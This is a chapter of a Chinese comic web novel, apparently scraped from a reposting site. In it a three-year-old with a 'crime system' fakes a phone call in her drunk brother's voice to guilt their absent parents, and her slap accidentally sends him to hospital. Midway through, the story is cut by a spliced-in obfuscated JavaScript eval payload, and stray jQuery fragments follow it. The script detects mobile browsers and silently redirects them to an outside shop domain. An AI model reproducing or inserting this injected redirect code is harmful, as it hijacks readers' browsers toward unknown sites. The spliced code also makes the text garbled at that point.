文趣网 > 其他小说 > 三岁,但绑定犯罪系统 > 28. 文学城首发
    “你不喜欢?”许琢挑眉。

    “还行吧,我收下了,”许铃薇回神,耸了耸肩,一副既然你非要送我那我就勉为其难接受好了的表情,“不过我已经有一匹小马了,你送我之前怎么不先问下我?”

    那是一匹小黑马,是爷爷送她的三岁生日礼物。

    送过来她只看了一眼就让人拉走了。

    去年三岁的堂哥骑马摔了个狗吃屎的场景让她记忆犹新,脸丢大了,今年三岁的她是不会重蹈覆辙的。

    虽然她肯定比笨蛋堂哥学得快学得好,必然不会也摔下马,但是,小心骑得万年马嘛。

    许琢不以为意:“两匹可以换着骑,那匹骑累了骑这匹。现在去看看?”

    许铃薇果断拒绝:“我现在不想骑马,忙着呢。”

    “忙什么呢?”

    “忙着研究手搓光刻机。唉,说了你也不懂。”

    “……”

    很快到了许琢生日,照例请了专门的策划团队布置现场,厨房从一早就开始做准备。

    傍晚时分,许铃薇下楼溜达了一圈,数了数人头。

    除了姑姑和姑父因为人在外地没来,爸妈居然也不在。

    直到晚上开席,缺席的人依然没到。

    许铃薇在心里冷哼,心说上次她这个二胎过生日他们俩虽然也只回来吃了个晚饭就又跑了,好歹还回来了一趟。

    这次头胎过生日,还是据说很重要的十八岁生日,两口子竟然连个影子都没见到。

    真是一胎不如一胎。

    老许家但凡一家子聚在一起吃饭,有三个座位是固定的。

    爷爷许鸿辉照旧坐在主位,奶奶周淑荣也仍然坐他左边,最大的变动是许铃薇坐在了他右边,坐了她爸许曜东的位置。

    许铃薇对此表示无奈,她真不想坐前面,爷爷奶奶强烈邀请,没办法。

    其他人随意,二叔许曜南和二婶林美华带着堂姐许靖时,堂哥许靖辰姐弟占了长桌一侧。

    亲哥许琢,表哥顾羽安,表姐顾羽宁坐另一侧。

    小叔许曜北来晚了些,拄着拐一蹦一跳像个蚱蜢一样蹦过来。

    那次酒吧一战,导致许曜南本来就没好利索的腿伤上加伤,从轻微骨裂退化成严重骨裂,腿差点就真折了。

    许鸿辉一见他这个样子就来气:“知道自己腿瘸了就早点下来,大家都等你一个。”

    许曜北一屁股坐下,把拐杖递给佣人,嬉皮笑脸:“我可不是最后一个啊,大哥大嫂不是还没到呢吗。”

    一说起这个,许鸿辉和周淑荣脸色同时变得有点不好看。

    周淑荣轻咳一声,笑了笑:“原本他们俩都动身了,谁知道工作上临时有变故,没能回来,不过礼物都送回来了,回头再敲他们一笔。”

    这话是对许琢说的。

    寿星许琢神色淡淡,什么也没说。

    餐厅里顿时一静。

    又来了,熟悉的尴尬感又来了,每次聚餐都这样。

    但大家都是老玩家了,身经百战,只尴尬了不到一秒就重回神色自若状态。

    许鸿辉用指节敲了敲桌子:“好了,开饭吧。工作上遇到突发事件也是没办法的事,许琢,你不要怪你爸妈。”

    这次许琢嗯了一声。

    大厨拿出了看家的手艺,菜肴十二分丰盛,许铃薇想用一句名言来描述:是路过的蚂蚁看了都要鼓掌的程度kkk

    策划团队也是抱着必出神场景的决心将现场布置得跟宫里开宴会似的,可惜氛围没跟上,媚眼抛给瞎子看了属于是。

    一顿饭吃得算不上安静如鸡,也只比安静如鸡好上那么一点点。全程除了许鸿辉问许曜南公司里的事,就只剩下碗盏杯箸碰撞的轻微声响。

    老许家过生日三件套里的吃饭项目完成了,接下来进入寿星许愿吹蜡烛,家人们送礼物环节。

    长辈送房子车子游艇,平辈送键盘油画。

    许铃薇送了什么?

    许铃薇送了三千万。

    “哥哥,我要送你三千万。”许铃薇神态极其严肃,语气十分认真。

    这把其他人都给惊到了,许琢也惊了,他第一反应是不可能,他妹有这么大方?但马上又转念一想,以前是他误会了她,她其实——

    “下雨了千万记得往屋里跑,拉粑粑千万不要超过五分钟,坐久了千万别忘站起来活动活动。”

    所有人:……

    全场石化,许靖辰第一个跳出来嚷嚷。

    “许铃薇你也太抠了!这要是算礼物,那我也要送琢哥哥三千万。琢哥哥你千万别忘了吃饭,千万别忘了喝水,千万别忘了呼吸!那个,琢哥哥,能把我送你的燃油涡喷遥控战斗机退给我吗?”

    “……不能。”许琢无情拒绝。

    许靖辰还想再硬着头皮争取一下,被林美华一巴掌拍在屁股上:“送出去的东西还想要回来,丢不丢人。”

    许靖辰蔫了。

    这时沉吟半晌的许鸿辉突然笑了:“铃薇这三千万送得好,看似简单,其实质朴可爱,大道至简,短短三句话,就包含了无穷的人生哲理。”

    在众人惊愕的目光中,他看了一眼同样一脸问号的许铃薇,又是自信一笑。

    “下雨了千万记得往屋里跑,意思是说要趋利避害,君子不立危墙之下。”

    “拉粑粑,呃,上厕所千万不要超过五分钟,这是说凡事过犹不及,要有个度。”

    “坐久了千万别忘站起来活动活动,这话是说要动静结合,既要沉得住气,又要有主动出击的魄力。”

    许鸿辉说完,大厅鸦雀无声。

    他摇头轻叹,他这些儿孙真是,他都掰开了揉碎了讲,他们还领悟不到。

    果然,只有小孙女青出于蓝而胜于蓝。

    “铃薇,你说爷爷说的对不对?”许鸿辉看向许铃薇,眼里满是正确解读中心思想的傲然。

    许铃薇:“啊?”

    她是这个意思吗??

    她不是在三岁生日之后彻底决定以后不再精心给家人们送礼物,随便糊弄两句拉倒,所以现场胡乱编了个三千万吗?

    爷爷在说甚莫啊?

    周淑荣率先回神,看向许铃薇的眼神充满赞赏:“不错,铃薇就是这个意思。这几句话虽然简单,却蕴含了精妙的为人道理。”

    许铃薇呆愣过后迅速淡定,爷爷奶奶好像又开始降智了?那没事了。

    几个小的和许曜北挠头,似懂非懂。

    许曜南和林美华表情古怪,用眼神交流“爸妈没事儿吧我的天啊是不是老年痴呆了铃薇是这个意思吗哎你别说细品还真有几分这个意思”。

    接收三千万的寿星许琢跟被三道雷劈了一样。

    怎么回事?

    他就只是出去旅行了一个月,爷爷奶奶怎么变成这样了?这解读也太牵强了吧,他妹随口糊弄他的几句话成金玉良言了??

    等等,他后知后觉,吃饭的时候他妹是不是坐到爷爷身边,坐了他爸的位置……

    本来因为亲爹亲妈都没到场,许琢的生日宴会显得有那么一点尴尬,他本人也脸色阴郁。

    结果突然歪楼,气氛莫名其妙变成介于“聪明人总在只言片语中透露/理解高深道理”和“其实傻傻的也很快乐”之间的奇妙感觉了。

    宴席结束,各自散场。

    许铃薇刚把自己摔进沙发里,系统就叮叮响。

    【叮!新任务发布:请宿主在24小时内犯下诈骗罪】

    诈骗?

    许铃薇腾的一下坐直了:“9527,怎么才算是诈骗罪?骗钱,骗人,骗感情?”

    系统卡了一下才回答。

    【这个,本系统查阅了工作手册,没有具体要求必须骗取什么东西,骗钱骗人骗感情应该都可以】

    反正如果不可以,机制是不会判定任务完成的,它机智地想。

    许铃薇来了精神,手掌一拍,眼珠一转,嘴角一勾。

    嘿嘿,她又有了一个绝妙的主意。顷刻之间犯罪计划就成型,不愧是她。

    定好闹钟,快速洗漱完就美美入睡,半夜十二点整,闹钟响了。

    许铃薇挣扎着起床,拼命揉眼睛保持清醒。

    【宿主,你有这样的精神,无论犯什么罪都会成功的】

    系统发出感慨。

    “显而易见。”许铃薇表示赞同,下一秒就到了许琢的房间。

    灯光大亮……她预想的乌漆嘛黑,伸手不见五指,她藏身于黑暗之中完美拿到她哥手机的场面是不可能发生了。

    她转身就想跑,却发现不对,她哥好像躺在沙发上睡着了。

    踮着脚走近,许铃薇确认他大概率是真睡着了,不是装的。

    许铃薇大喜,虽然过程和她设想的有一点出入,也算是殊途同归。

    原本她是想直接给她爸妈打电话,骗他们说她哥因为他们没回来给他过生日,极度伤心,哭晕在厕所,但他们没接。

    可恶,爹妈十宗罪再添一笔!

    用她哥的手机打,他们总不会不接了吧?

    许铃薇蹑手蹑脚地去拿搁在茶几上的手机,扑面而来的酒气差点把她熏了个跟头。

    她这才注意到房间里充斥着酒精的气味,茶几上放了两瓶红酒,一瓶空了,一瓶还剩一小半,还有个打翻的高脚杯,甚至还有一盒拆开的烟,一根燃了一半。

    她哥居然偷偷喝酒,还抽烟?被她当场抓获!

    许铃薇瞪大眼睛,好你个忧郁青少年,看着像喜欢在网上发“我这一生如履薄冰”的文艺薄冰哥,没想到私底下烟酒都来。

    许铃薇粗略打量了一下许琢,他的脸比猴子屁股还红。呼吸很重,胸膛不均匀起伏。

    她掏出手机就一阵狂拍,她要举报他未成年饮酒……哎?他好像今天,确切地说是昨天就满了十八岁。

    许铃薇扁扁嘴,她哥真是卡的一手好时间。刚拿到喝酒许可证就喝成这副德行,醉成一头死猪,这个意志真是太不坚定了。

    拿到了手机,轻而易举就解锁,家人们能不能设个稍微复杂点的密码?这样破解起来一点成就感都没有,许铃薇摇头。

    她刚要走开打电话,忽然想到,她哥到底是真喝醉了,还是装醉,钓鱼执法?

    许铃薇摸到许琢身边,凑近观察。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547119|202753||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    即使不想承认,她也不得不承认,他长得有五分像她。

    和她一样,白皮肤高鼻子,眼睛没她的大。现在是红皮肤了,眼睛大小闭着也看不出来。

    脸红成猴子屁股都看起来不丑,这都是因为像她的那一半在发力。

    许铃薇哼了一声,心想她哥整天阴着一张脸真是浪费了这个长相。

    长得像她是他多大的福气,她妈也长得像她,一家四口里两个随她。不错,天才的力量还是太强大了,可以逆遗传。

    许铃薇蹲了一会儿,察觉到一个疑点:如果真的是喝醉睡着了,为什么不流口水?

    她缓缓抬起了手掌,轻轻拍了许琢的脸。

    啪!

    他脑袋一歪,跟电视剧里角色领盒饭一模一样。

    她吓了一跳,后退两步,才想起来手掌力量被强化过,强化到了什么地步?成年人坐的单人沙发都拖得动的那个地步。

    许琢歪着脑袋没动静,当然了,还活着。

    许铃薇放心了,飞快打开通讯录,找到妈妈冉桐的号码,按住蝴蝶结变声器,调成许琢的声线,按下拨号键。

    电话响了快十秒才接通。

    “许琢?”冉桐的声音从听筒里传出来,背景音很嘈杂,大概是在某个活动的间隙接的电话。

    许铃薇深吸一口气,颤巍巍开口:“妈……”

    “怎么了?这么晚了还不睡?”

    “你们今天没回来。”

    电话那头沉默:“……我这边实在走不开。你爸也没回去?礼物收到了吗?那块表是我让人从瑞士——”

    “我已经有很多块表了,”许铃薇把声音压得更低,带上了哭腔,“今天是我十八岁生日。你和爸都不在。我太难受了,你知不知道,我一直在哭!”

    “许琢,你,你哭了?我——”

    “明天早上我起床没看到你,就当我从今以后没你这个妈。”

    放完狠话,许铃薇干脆利落挂了电话,戛然而止才能增加人的脑补空间。

    然后故技重施,打给爸爸许曜东。

    临撤退前许铃薇突发奇想,多拍几张许琢的丑照制作成表情包。

    什么,没有丑照?没有丑照那就制造丑照。

    许铃薇把许琢的脸搓圆捏扁,手指都快点抽筋。

    玩了一阵之后她感觉手掌湿湿的,一看手上沾了一层水。

    第一反应是口水,一边得意她就说怎么可能有人睡觉不流口水,一边气得在许琢脑袋上擦手,擦了两下发现不对。

    这不是口水,是汗水。

    许琢此时满头满脸全是汗,脸上烫得烧手,呼吸比刚才更急促,喉咙里发出一种低沉的闷响。

    然后他哇的一声化身豌豆射手。

    “嗷!”

    许铃薇惊恐大叫,连滚带爬躲开。

    许琢吐在沙发旁边,把红酒和晚饭全倒了出来,脑袋软软地歪到一边,眼睛依旧紧闭,整张脸红得吓人。

    许铃薇低头看自己的神之右手。

    不会吧……

    不会是她一巴掌打的吧?不会是她一巴掌把她哥脑仁打散了吧?

    “来人啊!”

    一阵兵荒马乱,人仰马翻。

    由于缺乏仪器,当事人又昏迷不醒,家庭医生不好判断,只能从许琢喝了酒这个方面入手,大致诊断是酒精中毒。

    许琢被连夜紧急送往医院。

    许曜南和林美华这两个目前家里唯二能顶事的二代跟着去了医院。

    其他人留守在家焦灼等待医院检查结果。

    许铃薇躺在床上,盯着右手发呆,脑子里开始预想这一巴掌造成的后果。

    可能性一:轻度脑震荡,他明天醒来有点头晕,过几天就好了。

    可能性二:面部神经受损,嘴角从此歪斜,拉小提琴时琴弓在歪嘴旁边来回锯,这辈子告别独奏舞台。

    可能性三:颅内出血,半身不遂,说话嘴歪眼斜,从首席小提琴手变成赵四,再严重点就是刘能,下半辈子拄着拐杖在客厅里拿鞋底追着她打。

    可能性四:直接嘎掉。

    许铃薇的思路不受控制地滑向了葬礼场景……

    她坐不住了。

    这时系统上线。

    【宿主,你又精进了。本系统已经不知道该用什么样的词汇来描述这次任务之外的犯罪行动】

    【你假装拍打受害者脸部确认意识状态,实则暗中下狠手猛击面部要害。力道精准,落点阴毒,在没有引起任何警觉的情况下造成了给受害者严重头部损伤】

    【受害者的醉酒状态完美掩盖了外力致伤的体征,呕吐作为颅内压增高的经典症状已经出现——保底面瘫,高概率瘫痪,直接嘎掉也不是没可能】

    【你在犯下诈骗罪的同时顺手把受害者送上了救护车,你啊你,简直了】

    许铃薇:……

    这下真坐不住了。

    罪恶的反派也是有原则的,吃人的嘴软拿人的手短。

    她刚收了人一匹小马,转身就把他打进了医院。

    这事儿要是传出去了,她以后在道上还怎么混?